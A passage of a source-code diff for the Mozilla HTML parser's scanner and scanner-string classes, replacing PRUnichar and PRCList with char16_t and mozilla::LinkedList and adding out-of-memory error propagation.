+ NS_IMETHOD IsContainer(int32_t aId, bool& aIsContainer) const override;
+ NS_IMETHOD IsBlock(int32_t aId, bool& aIsBlock) const override;
};
#endif
diff --git a/parser/htmlparser/src/nsScanner.cpp b/parser/htmlparser/nsScanner.cpp
index a656461af..03b6ebf3a 100644
--- a/parser/htmlparser/src/nsScanner.cpp
+++ b/parser/htmlparser/nsScanner.cpp
@@ -6,10 +6,10 @@
//#define __INCREMENTAL 1
+#include "mozilla/DebugOnly.h"
+
#include "nsScanner.h"
#include "nsDebug.h"
-#include "nsIServiceManager.h"
-#include "nsICharsetConverterManager.h"
#include "nsReadableUtils.h"
#include "nsIInputStream.h"
#include "nsIFile.h"
@@ -24,10 +24,10 @@
using mozilla::dom::EncodingUtils;
// We replace NUL characters with this character.
-static PRUnichar sInvalid = UCS2_REPLACEMENT_CHAR;
+static char16_t sInvalid = UCS2_REPLACEMENT_CHAR;
-nsReadEndCondition::nsReadEndCondition(const PRUnichar* aTerminateChars) :
- mChars(aTerminateChars), mFilter(PRUnichar(~0)) // All bits set
+nsReadEndCondition::nsReadEndCondition(const char16_t* aTerminateChars) :
+ mChars(aTerminateChars), mFilter(char16_t(~0)) // All bits set
{
// Build filter that will be used to filter out characters with
// bits that none of the terminal chars have. This works very well
@@ -36,8 +36,8 @@ nsReadEndCondition::nsReadEndCondition(const PRUnichar* aTerminateChars) :
// bits set.
// Calculate filter
- const PRUnichar *current = aTerminateChars;
- PRUnichar terminalChar = *current;
+ const char16_t *current = aTerminateChars;
+ char16_t terminalChar = *current;
while (terminalChar) {
mFilter &= ~terminalChar;
++current;
@@ -45,12 +45,6 @@ nsReadEndCondition::nsReadEndCondition(const PRUnichar* aTerminateChars) :
}
}
-#ifdef __INCREMENTAL
-const int kBufsize=1;
-#else
-const int kBufsize=64;
-#endif
-
/**
* Use this constructor if you want i/o to be based on
* a single string you hand in during construction.
@@ -79,7 +73,7 @@ nsScanner::nsScanner(const nsAString& anHTMLString)
mUnicodeDecoder = 0;
mCharsetSource = kCharsetUninitialized;
mHasInvalidCharacter = false;
- mReplacementCharacter = PRUnichar(0x0);
+ mReplacementCharacter = char16_t(0x0);
}
/**
@@ -111,47 +105,35 @@ nsScanner::nsScanner(nsString& aFilename, bool aCreateStream)
mUnicodeDecoder = 0;
mCharsetSource = kCharsetUninitialized;
mHasInvalidCharacter = false;
- mReplacementCharacter = PRUnichar(0x0);
+ mReplacementCharacter = char16_t(0x0);
// XML defaults to UTF-8 and about:blank is UTF-8, too.
SetDocumentCharset(NS_LITERAL_CSTRING("UTF-8"), kCharsetFromDocTypeDefault);
}
nsresult nsScanner::SetDocumentCharset(const nsACString& aCharset , int32_t aSource)
{
- if (aSource < mCharsetSource) // priority is lower the the current one , just
+ if (aSource < mCharsetSource) // priority is lower than the current one
return NS_OK;
+ mCharsetSource = aSource;
+
nsCString charsetName;
- bool valid = EncodingUtils::FindEncodingForLabel(aCharset, charsetName);
+ mozilla::DebugOnly<bool> valid =
+ EncodingUtils::FindEncodingForLabel(aCharset, charsetName);
MOZ_ASSERT(valid, "Should never call with a bogus aCharset.");
- if (!mCharset.IsEmpty())
- {
- if (charsetName.Equals(mCharset))
- {
- mCharsetSource = aSource;
- return NS_OK; // no difference, don't change it
- }
+
+ if (!mCharset.IsEmpty() && charsetName.Equals(mCharset)) {
+ return NS_OK; // no difference, don't change it
}
// different, need to change it
mCharset.Assign(charsetName);
- mCharsetSource = aSource;
-
- NS_ASSERTION(nsParser::GetCharsetConverterManager(),
- "Must have the charset converter manager!");
-
- nsresult res = nsParser::GetCharsetConverterManager()->
- GetUnicodeDecoderRaw(mCharset.get(), getter_AddRefs(mUnicodeDecoder));
- if (NS_SUCCEEDED(res) && mUnicodeDecoder)
- {
- // We need to detect conversion error of character to support XML
- // encoding error.
- mUnicodeDecoder->SetInputErrorBehavior(nsIUnicodeDecoder::kOnError_Signal);
- }
+ mUnicodeDecoder = EncodingUtils::DecoderForEncoding(mCharset);
+ mUnicodeDecoder->SetInputErrorBehavior(nsIUnicodeDecoder::kOnError_Signal);
- return res;
+ return NS_OK;
}
@@ -262,7 +244,7 @@ nsresult nsScanner::Append(const char* aBuffer, uint32_t aLen,
mUnicodeDecoder->GetMaxLength(aBuffer, aLen, &unicharBufLen);
nsScannerString::Buffer* buffer = nsScannerString::AllocBuffer(unicharBufLen + 1);
NS_ENSURE_TRUE(buffer,NS_ERROR_OUT_OF_MEMORY);
- PRUnichar *unichars = buffer->DataStart();
+ char16_t *unichars = buffer->DataStart();
int32_t totalChars = 0;
int32_t unicharLength = unicharBufLen;
@@ -333,7 +315,7 @@ nsresult nsScanner::Append(const char* aBuffer, uint32_t aLen,
* @param
* @return error code reflecting read status
*/
-nsresult nsScanner::GetChar(PRUnichar& aChar) {
+nsresult nsScanner::GetChar(char16_t& aChar) {
if (!mSlidingBuffer || mCurrentPosition == mEndPosition) {
aChar = 0;
return kEOF;
@@ -354,7 +336,7 @@ nsresult nsScanner::GetChar(PRUnichar& aChar) {
* @param
* @return
*/
-nsresult nsScanner::Peek(PRUnichar& aChar, uint32_t aOffset) {
+nsresult nsScanner::Peek(char16_t& aChar, uint32_t aOffset) {
aChar = 0;
if (!mSlidingBuffer || mCurrentPosition == mEndPosition) {
@@ -402,7 +384,9 @@ nsresult nsScanner::Peek(nsAString& aStr, int32_t aNumChars, int32_t aOffset)
end.advance(aNumChars);
}
- CopyUnicodeTo(start, end, aStr);
+ if (!CopyUnicodeTo(start, end, aStr)) {
+ return NS_ERROR_OUT_OF_MEMORY;
+ }
return NS_OK;
}
@@ -421,7 +405,7 @@ nsresult nsScanner::SkipWhitespace(int32_t& aNewlinesSkipped) {
return kEOF;
}
- PRUnichar theChar = 0;
+ char16_t theChar = 0;
nsresult result = Peek(theChar);
if (NS_FAILED(result)) {
@@ -440,7 +424,7 @@ nsresult nsScanner::SkipWhitespace(int32_t& aNewlinesSkipped) {
case '\t':
{
skipped = true;
- PRUnichar thePrevChar = theChar;
+ char16_t thePrevChar = theChar;
theChar = (++current != mEndPosition) ? *current : '\0';
if ((thePrevChar == '\r' && theChar == '\n') ||
(thePrevChar == '\n' && theChar == '\r')) {
@@ -471,13 +455,13 @@ nsresult nsScanner::SkipWhitespace(int32_t& aNewlinesSkipped) {
* @param
* @return error code
*/
-nsresult nsScanner::SkipOver(PRUnichar aSkipChar){
+nsresult nsScanner::SkipOver(char16_t aSkipChar){
if (!mSlidingBuffer) {
return kEOF;
}
- PRUnichar ch=0;
+ char16_t ch=0;
nsresult result=NS_OK;
while(NS_OK==result) {
@@ -524,7 +508,7 @@ nsresult nsScanner::ReadTagIdentifier(nsScannerSharedSubstring& aString) {
return kEOF;
}
- PRUnichar theChar=0;
+ char16_t theChar=0;
nsresult result=Peek(theChar);
nsScannerIterator current, end;
bool found=false;
@@ -565,7 +549,9 @@ nsresult nsScanner::ReadTagIdentifier(nsScannerSharedSubstring& aString) {
// Don't bother appending nothing.
if (current != mCurrentPosition) {
- AppendUnicodeTo(mCurrentPosition, current, aString);
+ if (!AppendUnicodeTo(mCurrentPosition, current, aString)) {
+ return NS_ERROR_OUT_OF_MEMORY;
+ }
}
SetPosition(current);
@@ -591,7 +577,7 @@ nsresult nsScanner::ReadEntityIdentifier(nsString& aString) {
return kEOF;
}
- PRUnichar theChar=0;
+ char16_t theChar=0;
nsresult result=Peek(theChar);
nsScannerIterator origin, current, end;
bool found=false;
@@ -620,7 +606,9 @@ nsresult nsScanner::ReadEntityIdentifier(nsString& aString) {
}
if(!found) {
- AppendUnicodeTo(mCurrentPosition, current, aString);
+ if (!AppendUnicodeTo(mCurrentPosition, current, aString)) {
+ return NS_ERROR_OUT_OF_MEMORY;
+ }
break;
}
}
@@ -629,7 +617,9 @@ nsresult nsScanner::ReadEntityIdentifier(nsString& aString) {
SetPosition(current);
if (current == end) {
- AppendUnicodeTo(origin, current, aString);
+ if (!AppendUnicodeTo(origin, current, aString)) {
+ return NS_ERROR_OUT_OF_MEMORY;
+ }
return kEOF;
}
@@ -652,7 +642,7 @@ nsresult nsScanner::ReadNumber(nsString& aString,int32_t aBase) {
NS_ASSERTION(aBase == 10 || aBase == 16,"base value not supported");
- PRUnichar theChar=0;
+ char16_t theChar=0;
nsresult result=Peek(theChar);
nsScannerIterator origin, current, end;
@@ -669,7 +659,9 @@ nsresult nsScanner::ReadNumber(nsString& aString,int32_t aBase) {
(theChar < 'a' || theChar > 'f')
:true);
if(done) {
- AppendUnicodeTo(origin, current, aString);
+ if (!AppendUnicodeTo(origin, current, aString)) {
+ return NS_ERROR_OUT_OF_MEMORY;
+ }
break;
}
}
@@ -678,7 +670,9 @@ nsresult nsScanner::ReadNumber(nsString& aString,int32_t aBase) {
SetPosition(current);
if (current == end) {
- AppendUnicodeTo(origin, current, aString);
+ if (!AppendUnicodeTo(origin, current, aString)) {
+ return NS_ERROR_OUT_OF_MEMORY;
+ }
return kEOF;
}
@@ -705,7 +699,7 @@ nsresult nsScanner::ReadWhitespace(nsScannerSharedSubstring& aString,
return kEOF;
}
- PRUnichar theChar = 0;
+ char16_t theChar = 0;
nsresult result = Peek(theChar);
if (NS_FAILED(result)) {
@@ -727,7 +721,7 @@ nsresult nsScanner::ReadWhitespace(nsScannerSharedSubstring& aString,
case '\r':
{
++aNewlinesSkipped;
- PRUnichar thePrevChar = theChar;
+ char16_t thePrevChar = theChar;
theChar = (++current != end) ? *current : '\0';
if ((thePrevChar == '\r' && theChar == '\n') ||
(thePrevChar == '\n' && theChar == '\r')) {
@@ -735,8 +729,10 @@ nsresult nsScanner::ReadWhitespace(nsScannerSharedSubstring& aString,
haveCR = true;
} else if (thePrevChar == '\r') {
// Lone CR becomes CRLF; callers should know to remove extra CRs
- AppendUnicodeTo(origin, current, aString);
- aString.writable().Append(PRUnichar('\n'));
+ if (!AppendUnicodeTo(origin, current, aString)) {
+ return NS_ERROR_OUT_OF_MEMORY;
+ }
+ aString.writable().Append(char16_t('\n'));
origin = current;
haveCR = true;
}
@@ -748,14 +744,18 @@ nsresult nsScanner::ReadWhitespace(nsScannerSharedSubstring& aString,
break;
default:
done = true;
- AppendUnicodeTo(origin, current, aString);
+ if (!AppendUnicodeTo(origin, current, aString)) {
+ return NS_ERROR_OUT_OF_MEMORY;
+ }
break;
}
}
SetPosition(current);
if (current == end) {
- AppendUnicodeTo(origin, current, aString);
+ if (!AppendUnicodeTo(origin, current, aString)) {
+ return NS_ERROR_OUT_OF_MEMORY;
+ }
result = kEOF;
}
@@ -773,7 +773,7 @@ nsresult nsScanner::ReadWhitespace(nsScannerIterator& aStart,
return kEOF;
}
- PRUnichar theChar = 0;
+ char16_t theChar = 0;
nsresult result = Peek(theChar);
if (NS_FAILED(result)) {
@@ -794,7 +794,7 @@ nsresult nsScanner::ReadWhitespace(nsScannerIterator& aStart,
case ' ' :
case '\t':
{
- PRUnichar thePrevChar = theChar;
+ char16_t thePrevChar = theChar;
theChar = (++current != end) ? *current : '\0';
if ((thePrevChar == '\r' && theChar == '\n') ||
(thePrevChar == '\n' && theChar == '\r')) {
@@ -839,13 +839,13 @@ nsresult nsScanner::ReadUntil(nsAString& aString,
}
nsScannerIterator origin, current;
- const PRUnichar* setstart = aEndCondition.mChars;
- const PRUnichar* setcurrent;
+ const char16_t* setstart = aEndCondition.mChars;
+ const char16_t* setcurrent;
origin = mCurrentPosition;
current = origin;
- PRUnichar theChar=0;
+ char16_t theChar=0;
nsresult result=Peek(theChar);
if (NS_FAILED(result)) {
@@ -869,7 +869,9 @@ nsresult nsScanner::ReadUntil(nsAString& aString,
if (*setcurrent == theChar) {
if(addTerminal)
++current;
- AppendUnicodeTo(origin, current, aString);
+ if (!AppendUnicodeTo(origin, current, aString)) {
+ return NS_ERROR_OUT_OF_MEMORY;
+ }
SetPosition(current);
//DoErrTest(aString);
@@ -886,7 +888,9 @@ nsresult nsScanner::ReadUntil(nsAString& aString,
// If we are here, we didn't find any terminator in the string and
// current = mEndPosition
SetPosition(current);
- AppendUnicodeTo(origin, current, aString);
+ if (!AppendUnicodeTo(origin, current, aString)) {
+ return NS_ERROR_OUT_OF_MEMORY;
+ }
return kEOF;
}
@@ -899,13 +903,13 @@ nsresult nsScanner::ReadUntil(nsScannerSharedSubstring& aString,
}
nsScannerIterator origin, current;
- const PRUnichar* setstart = aEndCondition.mChars;
- const PRUnichar* setcurrent;
+ const char16_t* setstart = aEndCondition.mChars;
+ const char16_t* setcurrent;
origin = mCurrentPosition;
current = origin;
- PRUnichar theChar=0;
+ char16_t theChar=0;
nsresult result=Peek(theChar);
if (NS_FAILED(result)) {
@@ -929,7 +933,9 @@ nsresult nsScanner::ReadUntil(nsScannerSharedSubstring& aString,
if (*setcurrent == theChar) {
if(addTerminal)
++current;
- AppendUnicodeTo(origin, current, aString);
+ if (!AppendUnicodeTo(origin, current, aString)) {
+ return NS_ERROR_OUT_OF_MEMORY;
+ }
SetPosition(current);
//DoErrTest(aString);
@@ -946,7 +952,9 @@ nsresult nsScanner::ReadUntil(nsScannerSharedSubstring& aString,
// If we are here, we didn't find any terminator in the string and
// current = mEndPosition
SetPosition(current);
- AppendUnicodeTo(origin, current, aString);
+ if (!AppendUnicodeTo(origin, current, aString)) {
+ return NS_ERROR_OUT_OF_MEMORY;
+ }
return kEOF;
}
@@ -960,13 +968,13 @@ nsresult nsScanner::ReadUntil(nsScannerIterator& aStart,
}
nsScannerIterator origin, current;
- const PRUnichar* setstart = aEndCondition.mChars;
- const PRUnichar* setcurrent;
+ const char16_t* setstart = aEndCondition.mChars;
+ const char16_t* setcurrent;
origin = mCurrentPosition;
current = origin;
- PRUnichar theChar=0;
+ char16_t theChar=0;
nsresult result=Peek(theChar);
if (NS_FAILED(result)) {
@@ -1019,7 +1027,7 @@ nsresult nsScanner::ReadUntil(nsScannerIterator& aStart,
* @return error code
*/
nsresult nsScanner::ReadUntil(nsAString& aString,
- PRUnichar aTerminalChar,
+ char16_t aTerminalChar,
bool addTerminal)
{
if (!mSlidingBuffer) {
@@ -1031,7 +1039,7 @@ nsresult nsScanner::ReadUntil(nsAString& aString,
origin = mCurrentPosition;
current = origin;
- PRUnichar theChar;
+ char16_t theChar;
nsresult result = Peek(theChar);
if (NS_FAILED(result)) {
@@ -1048,7 +1056,9 @@ nsresult nsScanner::ReadUntil(nsAString& aString,
if (aTerminalChar == theChar) {
if(addTerminal)
++current;
- AppendUnicodeTo(origin, current, aString);
+ if (!AppendUnicodeTo(origin, current, aString)) {
+ return NS_ERROR_OUT_OF_MEMORY;
+ }
SetPosition(current);
return NS_OK;
}
@@ -1057,7 +1067,9 @@ nsresult nsScanner::ReadUntil(nsAString& aString,
// If we are here, we didn't find any terminator in the string and
// current = mEndPosition
- AppendUnicodeTo(origin, current, aString);
+ if (!AppendUnicodeTo(origin, current, aString)) {
+ return NS_ERROR_OUT_OF_MEMORY;
+ }
SetPosition(current);
return kEOF;
@@ -1106,7 +1118,7 @@ void nsScanner::SetPosition(nsScannerIterator& aPosition, bool aTerminate, bool
}
void nsScanner::ReplaceCharacter(nsScannerIterator& aPosition,
- PRUnichar aChar)
+ char16_t aChar)
{
if (mSlidingBuffer) {
mSlidingBuffer->ReplaceCharacter(aPosition, aChar);
@@ -1165,19 +1177,19 @@ bool nsScanner::AppendToBuffer(nsScannerString::Buffer* aBuf,
*
* @update gess 5/12/98
* @param aCopyBuffer is where the scanner buffer will be copied to
- * @return nada
+ * @return true if OK or false on OOM
*/
-void nsScanner::CopyUnusedData(nsString& aCopyBuffer) {
+bool nsScanner::CopyUnusedData(nsString& aCopyBuffer) {
if (!mSlidingBuffer) {
aCopyBuffer.Truncate();
- return;
+ return true;
}
nsScannerIterator start, end;
start = mCurrentPosition;
end = mEndPosition;
- CopyUnicodeTo(start, end, aCopyBuffer);
+ return CopyUnicodeTo(start, end, aCopyBuffer);
}
/**
@@ -1206,7 +1218,7 @@ void nsScanner::SelfTest(void) {
#endif
}
-void nsScanner::OverrideReplacementCharacter(PRUnichar aReplacementCharacter)
+void nsScanner::OverrideReplacementCharacter(char16_t aReplacementCharacter)
{
mReplacementCharacter = aReplacementCharacter;
diff --git a/parser/htmlparser/src/nsScanner.h b/parser/htmlparser/nsScanner.h
index 8443bfb4f..f4e79aaed 100644
--- a/parser/htmlparser/src/nsScanner.h
+++ b/parser/htmlparser/nsScanner.h
@@ -22,7 +22,6 @@
#include "nsCOMPtr.h"
#include "nsString.h"
#include "nsIParser.h"
-#include "prtypes.h"
#include "nsIUnicodeDecoder.h"
#include "nsScannerString.h"
@@ -30,9 +29,9 @@ class nsParser;
class nsReadEndCondition {
public:
- const PRUnichar *mChars;
- PRUnichar mFilter;
- explicit nsReadEndCondition(const PRUnichar* aTerminateChars);
+ const char16_t *mChars;
+ char16_t mFilter;
+ explicit nsReadEndCondition(const char16_t* aTerminateChars);
private:
nsReadEndCondition(const nsReadEndCondition& aOther); // No copying
void operator=(const nsReadEndCondition& aOther); // No assigning
@@ -44,7 +43,7 @@ class nsScanner {
/**
* Use this constructor for the XML fragment parsing case
*/
- nsScanner(const nsAString& anHTMLString);
+ explicit nsScanner(const nsAString& anHTMLString);
/**
* Use this constructor if you want i/o to be based on
@@ -61,7 +60,7 @@ class nsScanner {
* @param ch is the char to accept new value
* @return error code reflecting read status
*/
- nsresult GetChar(PRUnichar& ch);
+ nsresult GetChar(char16_t& ch);
/**
* peek ahead to consume next char from scanner's internal
@@ -71,7 +70,7 @@ class nsScanner {
* @param ch is the char to accept new value
* @return error code reflecting read status
*/
- nsresult Peek(PRUnichar& ch, uint32_t aOffset=0);
+ nsresult Peek(char16_t& ch, uint32_t aOffset=0);
nsresult Peek(nsAString& aStr, int32_t aNumChars, int32_t aOffset = 0);
@@ -82,7 +81,7 @@ class nsScanner {
* @param char to be skipped
* @return error code
*/
- nsresult SkipOver(PRUnichar aSkipChar);
+ nsresult SkipOver(char16_t aSkipChar);
/**
* Skip whitespace on scanner input stream
@@ -126,7 +125,7 @@ class nsScanner {
* @return error code
*/
nsresult ReadUntil(nsAString& aString,
- PRUnichar aTerminal,
+ char16_t aTerminal,
bool addTerminal);
/**
@@ -210,9 +209,9 @@ class nsScanner {
*
* @update gess 5/12/98
* @param aCopyBuffer is where the scanner buffer will be copied to
- * @return nada
+ * @return true if OK or false on OOM
*/
- void CopyUnusedData(nsString& aCopyBuffer);
+ bool CopyUnusedData(nsString& aCopyBuffer);
/**
* Retrieve the name of the file that the scanner is reading from.
@@ -243,7 +242,7 @@ class nsScanner {
bool aTruncate = false,
bool aReverse = false);
void ReplaceCharacter(nsScannerIterator& aPosition,
- PRUnichar aChar);
+ char16_t aChar);
/**
* Internal method used to cause the internal buffer to
@@ -271,7 +270,7 @@ class nsScanner {
* @param aReplacementCharacter the replacement character
* XML (expat) parser uses 0xffff
*/
- void OverrideReplacementCharacter(PRUnichar aReplacementCharacter);
+ void OverrideReplacementCharacter(char16_t aReplacementCharacter);
protected:
@@ -295,7 +294,7 @@ class nsScanner {
// from the scanner buffer
bool mIncremental;
bool mHasInvalidCharacter;
- PRUnichar mReplacementCharacter;
+ char16_t mReplacementCharacter;
int32_t mFirstNonWhitespacePosition;
int32_t mCharsetSource;
nsCString mCharset;
diff --git a/parser/htmlparser/src/nsScannerString.cpp b/parser/htmlparser/nsScannerString.cpp
index 7cb5c7b04..380a72e8f 100644
--- a/parser/htmlparser/src/nsScannerString.cpp
+++ b/parser/htmlparser/nsScannerString.cpp
@@ -12,32 +12,20 @@
* nsScannerBufferList
*/
-#define MAX_CAPACITY ((UINT32_MAX / sizeof(PRUnichar)) - \
- (sizeof(Buffer) + sizeof(PRUnichar)))
+#define MAX_CAPACITY ((UINT32_MAX / sizeof(char16_t)) - \
+ (sizeof(Buffer) + sizeof(char16_t)))
nsScannerBufferList::Buffer*
nsScannerBufferList::AllocBufferFromString( const nsAString& aString )
{
uint32_t len = aString.Length();
+ Buffer* buf = AllocBuffer(len);
- if (len > MAX_CAPACITY)
- return nullptr;
-
- Buffer* buf = (Buffer*) malloc(sizeof(Buffer) + (len + 1) * sizeof(PRUnichar));
if (buf)
{
- // leave PRCList members of Buffer uninitialized
-
- buf->mUsageCount = 0;
- buf->mDataEnd = buf->DataStart() + len;
-
nsAString::const_iterator source;
aString.BeginReading(source);
- nsCharTraits<PRUnichar>::copy(buf->DataStart(), source.get(), len);
-
- // XXX null terminate. this shouldn't be required, but we do it because
- // nsScanner erroneously thinks it can dereference DataEnd :-(
- *buf->mDataEnd = PRUnichar(0);
+ nsCharTraits<char16_t>::copy(buf->DataStart(), source.get(), len);
}
return buf;
}
@@ -48,30 +36,29 @@ nsScannerBufferList::AllocBuffer( uint32_t capacity )
if (capacity > MAX_CAPACITY)
return nullptr;
- Buffer* buf = (Buffer*) malloc(sizeof(Buffer) + (capacity + 1) * sizeof(PRUnichar));
- if (buf)
- {
- // leave PRCList members of Buffer uninitialized
+ void* ptr = malloc(sizeof(Buffer) + (capacity + 1) * sizeof(char16_t));
+ if (!ptr)
+ return nullptr;
- buf->mUsageCount = 0;
- buf->mDataEnd = buf->DataStart() + capacity;
+ Buffer* buf = new (ptr) Buffer();
- // XXX null terminate. this shouldn't be required, but we do it because
- // nsScanner erroneously thinks it can dereference DataEnd :-(
- *buf->mDataEnd = PRUnichar(0);
- }
+ buf->mUsageCount = 0;
+ buf->mDataEnd = buf->DataStart() + capacity;
+
+ // XXX null terminate. this shouldn't be required, but we do it because
+ // nsScanner erroneously thinks it can dereference DataEnd :-(
+ *buf->mDataEnd = char16_t(0);
return buf;
}
void
nsScannerBufferList::ReleaseAll()
{
- while (!PR_CLIST_IS_EMPTY(&mBuffers))
+ while (!mBuffers.isEmpty())
{
- PRCList* node = PR_LIST_HEAD(&mBuffers);
- PR_REMOVE_LINK(node);
+ Buffer* node = mBuffers.popFirst();
//printf(">>> freeing buffer @%p\n", node);
- free(static_cast<Buffer*>(node));
+ free(node);
}
}
@@ -93,7 +80,7 @@ nsScannerBufferList::SplitBuffer( const Position& pos )
Buffer* new_buffer = AllocBuffer(len);
if (new_buffer)
{
- nsCharTraits<PRUnichar>::copy(new_buffer->DataStart(),
+ nsCharTraits<char16_t>::copy(new_buffer->DataStart(),
bufferToSplit->DataStart() + splitOffset,
len);
InsertAfter(new_buffer, bufferToSplit);
@@ -106,10 +93,10 @@ nsScannerBufferList::DiscardUnreferencedPrefix( Buffer* aBuf )
{
if (aBuf == Head())
{
- while (!PR_CLIST_IS_EMPTY(&mBuffers) && !Head()->IsInUse())
+ while (!mBuffers.isEmpty() && !Head()->IsInUse())
{
Buffer* buffer = Head();
- PR_REMOVE_LINK(buffer);
+ buffer->remove();
free(buffer);
}
}
@@ -160,7 +147,7 @@ nsScannerSubstring::~nsScannerSubstring()
}
int32_t
-nsScannerSubstring::CountChar( PRUnichar c ) const
+nsScannerSubstring::CountChar( char16_t c ) const
{
/*
re-write this to use a counting sink
@@ -173,7 +160,7 @@ nsScannerSubstring::CountChar( PRUnichar c ) const
for ( BeginReading(iter); ; )
{
int32_t lengthToExamineInThisFragment = iter.size_forward();
- const PRUnichar* fromBegin = iter.get();
+ const char16_t* fromBegin = iter.get();
result += size_type(NS_COUNT(fromBegin, fromBegin+lengthToExamineInThisFragment, c));
if ( !(lengthToExamine -= lengthToExamineInThisFragment) )
return result;
@@ -276,7 +263,7 @@ nsScannerSubstring::GetNextFragment( nsScannerFragment& frag ) const
if (frag.mBuffer == mEnd.mBuffer)
return false;
- frag.mBuffer = static_cast<const Buffer*>(PR_NEXT_LINK(frag.mBuffer));
+ frag.mBuffer = frag.mBuffer->getNext();
if (frag.mBuffer == mStart.mBuffer)
frag.mFragmentStart = mStart.mPosition;
@@ -298,7 +285,7 @@ nsScannerSubstring::GetPrevFragment( nsScannerFragment& frag ) const
if (frag.mBuffer == mStart.mBuffer)
return false;
- frag.mBuffer = static_cast<const Buffer*>(PR_PREV_LINK(frag.mBuffer));
+ frag.mBuffer = frag.mBuffer->getPrevious();
if (frag.mBuffer == mStart.mBuffer)
frag.mFragmentStart = mStart.mPosition;
@@ -386,12 +373,12 @@ nsScannerString::UngetReadable( const nsAString& aReadable, const nsScannerItera
}
void
-nsScannerString::ReplaceCharacter(nsScannerIterator& aPosition, PRUnichar aChar)
+nsScannerString::ReplaceCharacter(nsScannerIterator& aPosition, char16_t aChar)
{
// XXX Casting a const to non-const. Unless the base class
// provides support for writing iterators, this is the best
// that can be done.
- PRUnichar* pos = const_cast<PRUnichar*>(aPosition.get());
+ char16_t* pos = const_cast<char16_t*>(aPosition.get());
*pos = aChar;
mIsDirty = true;
@@ -479,23 +466,24 @@ copy_multifragment_string( nsScannerIterator& first, const nsScannerIterator& la
return result;
}
-void
+bool
CopyUnicodeTo( const nsScannerIterator& aSrcStart,
const nsScannerIterator& aSrcEnd,
nsAString& aDest )
{
nsAString::iterator writer;
- if (!aDest.SetLength(Distance(aSrcStart, aSrcEnd), mozilla::fallible_t())) {
+ if (!aDest.SetLength(Distance(aSrcStart, aSrcEnd), mozilla::fallible)) {
aDest.Truncate();
- return; // out of memory
+ return false; // out of memory
}
aDest.BeginWriting(writer);
nsScannerIterator fromBegin(aSrcStart);
copy_multifragment_string(fromBegin, aSrcEnd, writer);
+ return true;
}
-void
+bool
AppendUnicodeTo( const nsScannerIterator& aSrcStart,
const nsScannerIterator& aSrcEnd,
nsScannerSharedSubstring& aDest )
@@ -505,29 +493,30 @@ AppendUnicodeTo( const nsScannerIterator& aSrcStart,
// We can just make |aDest| point to the buffer.
// This will take care of copying if the buffer spans fragments.
aDest.Rebind(aSrcStart, aSrcEnd);
- } else {
- // The dest string is not empty, so it can't be a dependent substring.
- AppendUnicodeTo(aSrcStart, aSrcEnd, aDest.writable());
+ return true;
}
+ // The dest string is not empty, so it can't be a dependent substring.
+ return AppendUnicodeTo(aSrcStart, aSrcEnd, aDest.writable());
}
-void
+bool
AppendUnicodeTo( const nsScannerIterator& aSrcStart,
const nsScannerIterator& aSrcEnd,
nsAString& aDest )
{
nsAString::iterator writer;
uint32_t oldLength = aDest.Length();
- if (!aDest.SetLength(oldLength + Distance(aSrcStart, aSrcEnd), mozilla::fallible_t()))
- return; // out of memory
+ if (!aDest.SetLength(oldLength + Distance(aSrcStart, aSrcEnd), mozilla::fallible))
+ return false; // out of memory
aDest.BeginWriting(writer).advance(oldLength);
nsScannerIterator fromBegin(aSrcStart);
copy_multifragment_string(fromBegin, aSrcEnd, writer);
+ return true;
}
bool
-FindCharInReadable( PRUnichar aChar,
+FindCharInReadable( char16_t aChar,
nsScannerIterator& aSearchStart,
const nsScannerIterator& aSearchEnd )
{
@@ -539,7 +528,7 @@ FindCharInReadable( PRUnichar aChar,
else
fragmentLength = aSearchStart.size_forward();
- const PRUnichar* charFoundAt = nsCharTraits<PRUnichar>::find(aSearchStart.get(), fragmentLength, aChar);
+ const char16_t* charFoundAt = nsCharTraits<char16_t>::find(aSearchStart.get(), fragmentLength, aChar);
if ( charFoundAt ) {
aSearchStart.advance( charFoundAt - aSearchStart.get() );
return true;
diff --git a/parser/htmlparser/public/nsScannerString.h b/parser/htmlparser/nsScannerString.h
index ae6116915..7262ad06e 100644
--- a/parser/htmlparser/public/nsScannerString.h
+++ b/parser/htmlparser/nsScannerString.h
@@ -9,7 +9,7 @@
#include "nsString.h"
#include "nsUnicharUtils.h" // for nsCaseInsensitiveStringComparator
-#include "prclist.h"
+#include "mozilla/LinkedList.h"
#include <algorithm>
@@ -61,7 +61,7 @@ class nsScannerBufferList
* of the data segment is determined by increment the |this| pointer
* by 1 unit.
*/
- class Buffer : public PRCList
+ class Buffer : public mozilla::LinkedListElement<Buffer>
{
public:
@@ -70,17 +70,17 @@ class nsScannerBufferList
bool IsInUse() const { return mUsageCount != 0; }
- const PRUnichar* DataStart() const { return (const PRUnichar*) (this+1); }
- PRUnichar* DataStart() { return ( PRUnichar*) (this+1); }
+ const char16_t* DataStart() const { return (const char16_t*) (this+1); }
+ char16_t* DataStart() { return ( char16_t*) (this+1); }
- const PRUnichar* DataEnd() const { return mDataEnd; }
- PRUnichar* DataEnd() { return mDataEnd; }
+ const char16_t* DataEnd() const { return mDataEnd; }
+ char16_t* DataEnd() { return mDataEnd; }
- const Buffer* Next() const { return static_cast<const Buffer*>(next); }
- Buffer* Next() { return static_cast<Buffer*>(next); }
+ const Buffer* Next() const { return getNext(); }
+ Buffer* Next() { return getNext(); }
- const Buffer* Prev() const { return static_cast<const Buffer*>(prev); }
- Buffer* Prev() { return static_cast<Buffer*>(prev); }
+ const Buffer* Prev() const { return getPrevious(); }
+ Buffer* Prev() { return getPrevious(); }
uint32_t DataLength() const { return mDataEnd - DataStart(); }
void SetDataLength(uint32_t len) { mDataEnd = DataStart() + len; }
@@ -90,7 +90,7 @@ class nsScannerBufferList
friend class nsScannerBufferList;
int32_t mUsageCount;
- PRUnichar* mDataEnd;
+ char16_t* mDataEnd;
};
/**
@@ -104,13 +104,13 @@ class nsScannerBufferList
Position() {}
- Position( Buffer* buffer, PRUnichar* position )
+ Position( Buffer* buffer, char16_t* position )
: mBuffer(buffer)
, mPosition(position)
{}
inline
- Position( const nsScannerIterator& aIter );
+ explicit Position( const nsScannerIterator& aIter );
inline
Position& operator=( const nsScannerIterator& aIter );
@@ -118,32 +118,31 @@ class nsScannerBufferList
static size_t Distance( const Position& p1, const Position& p2 );
Buffer* mBuffer;
- PRUnichar* mPosition;
+ char16_t* mPosition;
};
static Buffer* AllocBufferFromString( const nsAString& );
static Buffer* AllocBuffer( uint32_t capacity ); // capacity = number of chars
- nsScannerBufferList( Buffer* buf )
+ explicit nsScannerBufferList( Buffer* buf )
: mRefCnt(0)
{
- PR_INIT_CLIST(&mBuffers);
